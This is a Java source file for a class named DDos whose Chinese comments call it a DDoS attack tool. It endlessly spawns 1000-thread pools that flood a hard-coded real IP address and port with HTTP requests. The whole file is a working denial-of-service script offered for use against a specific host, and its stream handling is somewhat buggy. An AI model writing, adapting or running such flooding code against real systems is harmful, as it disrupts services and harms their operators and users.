package com.cabal.module;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class DDos implements  Runnable {

    private static String ipAddr = "http://81.68.217.137:36101/";

    private static Integer ddosNum = 1000;

    public static void main(String[] args) {
        DDos.attack();
    }

    public static void attack() {
        while (true) {
            //利用线程池创建ddos攻击线程数
            ExecutorService es = Executors.newFixedThreadPool(ddosNum);
            DDos ddos = new DDos();
            es.execute(ddos);
        }
    }

    public void run() {
        while (true) {
            try {
                URL url = new URL(ipAddr);
                URLConnection conn = url.openConnection();
                BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
                byte[] bytes = new byte[1024];
                int len = -1;
                StringBuffer sb = new StringBuffer();
                if (bis != null) {
                    if ((len = bis.read()) != -1) {
                        sb.append(new String(bytes, 0, len));
                        //System.out.println("攻击中...");
                        bis.close();
                    }
                }
                bis.reset();
            } catch (IOException e) {
                e.printStackTrace();
                //System.out.println("攻击成功");
            } finally {

            }
        }
    }
}